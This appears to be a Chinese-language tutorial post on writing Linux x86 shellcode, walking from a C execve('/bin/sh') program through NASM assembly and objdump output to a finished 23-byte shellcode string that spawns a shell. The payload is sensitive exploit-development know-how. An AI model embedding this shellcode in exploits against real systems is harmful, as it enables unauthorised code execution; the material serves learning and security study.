繼續更新
linux下shellcode的編寫:
首先在windows下寫過shellcode的童鞋都知道,linux下的編寫方法也是一樣的,就拿一個簡單的生成新shell作爲實例:
首先C語言的表達如下:
shellcode_execve.c
#include<stdio.h> int main() { char *name[2]; name[0]="/bin/sh"; name[1]=NULL; execve(name[0],name,NULL); }
編譯:gcc shellcode_execve.c -o shellcode_execve
運行:./shellcode_execve
sh-4.1#
正常彈出一個shell,證明這個想法是可行的
首先函數execve的三個參數分別入棧
接着調用int x80中斷的11號系統調用編號(即eax賦值爲11)
寫出shellcode_execve.asm
section .text global _start _start: xor eax,eax push eax push 0x68732f6e ;字符串/bash//sh push 0x69622f2f mov ebx,esp push eax push ebx mov ecx,esp mov al,0xb ;0xb=11h int 0x80
編譯:nasm -f elf shellcode_execve.asm
連接:ld -o shellcode_execve shellcode_execve.o
運行:./shellcode_execve
sh-4.1#
可以正常運行
接下來要提取出機器碼來,用objdump
root@seaeast:~# objdump -d shellcode_execve shellcode_execve: file format elf32-i386 Disassembly of section .text: 08048060 <_start>: 8048060: 31 c0 xor %eax,%eax 8048062: 50 push %eax 8048063: 68 6e 2f 73 68 push $0x68732f6e 8048068: 68 2f 2f 62 69 push $0x69622f2f 804806d: 89 e3 mov %esp,%ebx 804806f: 50 push %eax 8048070: 53 push %ebx 8048071: 89 e1 mov %esp,%ecx 8048073: b0 0b mov $0xb,%al 8048075: cd 80 int $0x80
shellcode="\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"